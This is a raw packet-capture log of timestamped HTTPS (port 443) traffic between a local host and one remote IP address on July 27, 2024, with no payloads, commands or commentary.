Jul 27, 2024 16:49:46.247386932 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.247483969 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.247548103 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.247558117 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.247617006 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.247622967 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.247637033 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.247689962 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.247765064 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.247828007 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.247838020 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.247891903 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.247895002 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.247920036 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.247958899 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.251647949 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.251718044 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.251730919 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.251751900 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.251808882 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.251808882 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.251836061 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.251863003 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.251909971 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.251909971 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.251924038 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.251943111 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.251991987 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.252002001 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.252032042 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.252057076 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.252072096 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.252099991 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.252777100 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.252836943 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.252842903 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.252856016 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.252909899 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.252922058 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.252975941 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.252984047 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.252995968 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.253035069 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.253068924 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.253120899 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.253130913 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.253150940 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.253181934 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.253191948 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.253215075 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.253220081 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.253262997 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.253273010 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.253329992 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.253407955 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.253468990 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.253474951 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.253485918 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.253525972 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.253525972 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.253551006 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.253607988 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.334816933 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.334983110 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.335042000 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.335042000 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.335103035 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.335141897 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.335175991 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.335196018 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.335222006 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.335369110 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.335552931 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.335613012 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.335653067 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.335694075 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.335694075 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.335712910 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.335782051 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.335913897 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.335961103 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.336028099 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.336075068 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.336077929 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.336138964 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.336153984 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.336206913 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.336214066 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.336232901 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.336266041 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.336359978 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.336421967 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.336433887 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.336509943 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.336538076 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.336550951 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.336580992 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.336646080 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.336709976 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.336721897 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.336776018 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.336781025 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.336797953 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.336833000 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.336924076 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.336983919 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.336994886 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.337052107 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.337054014 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.337081909 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.337120056 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.337219954 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.337284088 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.337295055 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.337351084 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.724565029 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.724735975 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.724838972 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.724839926 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.724879026 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.724908113 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.724944115 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.725048065 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.725121975 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.725152016 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.725214005 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.725229979 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.725286961 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.725291967 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.725318909 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.725357056 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.725378990 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.725464106 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.725543022 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.725605011 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.725667953 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.725770950 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.725836039 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.725900888 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.725971937 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.726032972 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.726102114 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.726171970 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.726238012 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.726300955 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.726363897 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.726437092 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.726500988 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.726571083 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.726633072 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.726717949 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.726780891 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.726850986 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.726916075 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.726984024 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.727050066 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.727117062 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.727175951 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.782058954 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.782229900 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.782273054 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.782340050 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.782382011 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.782406092 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.782422066 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.782586098 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.782630920 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.782696962 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.782741070 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.782763958 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.782771111 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.782799006 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.782829046 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.782964945 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.783030987 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.783046961 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.783104897 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.783139944 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.783209085 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.783298016 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.783360958 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.783436060 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.783495903 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.783569098 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.783639908 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.783706903 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.783767939 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.783838034 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.783902884 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.783976078 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.784056902 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.784109116 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.784171104 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.784235954 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.784296989 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.784363031 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.784424067 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.784531116 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.784598112 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.784662008 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.784722090 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.813633919 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.813831091 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.813832045 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.813872099 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.813899994 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.813944101 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.813944101 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.813998938 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814074993 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.814096928 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814120054 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814213991 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814294100 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.814294100 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.814315081 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814337015 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814388037 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.814460039 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814517021 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.814548016 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814579010 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814606905 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.814630032 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814655066 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.814671993 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814727068 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.814738989 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814762115 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814789057 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.814805984 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814831018 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.814851046 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814904928 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.814917088 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814944983 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.814977884 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.814992905 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.815016031 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.815031052 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.815110922 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.815120935 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.815143108 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.815181017 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.815237045 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.815294981 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.815305948 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.815361023 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.868922949 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.869066000 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.869082928 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.869106054 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.869211912 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.869306087 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.869411945 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.871576071 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.871643066 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.871721983 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.871776104 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.871800900 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.871803999 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.871831894 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.871872902 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.872026920 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.872028112 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.872028112 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.872097969 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.900330067 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.900567055 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.900640965 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.900702000 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.900742054 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.900747061 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.900800943 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.900815964 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.900880098 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.900899887 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.900963068 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.900978088 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901016951 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901041985 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901055098 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.901078939 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.901132107 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901192904 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.901205063 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901236057 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901273966 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.901292086 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901315928 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.901335001 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901391983 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.901403904 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901432037 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901459932 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.901472092 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901500940 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.901524067 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901572943 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.901585102 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901614904 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901638985 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.901648998 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901674986 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.901724100 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901779890 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:46.901791096 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:46.901843071 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.015984058 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.016108036 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.016108990 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.016175985 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.016222954 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.016248941 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.017723083 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.017805099 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.024477959 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.024641991 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.028892994 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.028974056 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.035845041 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.036051989 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.037765980 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.037949085 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.044828892 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.045018911 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.048048019 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.048216105 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.051734924 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.051798105 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.058367014 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.058442116 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.061897993 CEST	443	49740	39.97.203.118	192.168.2.4
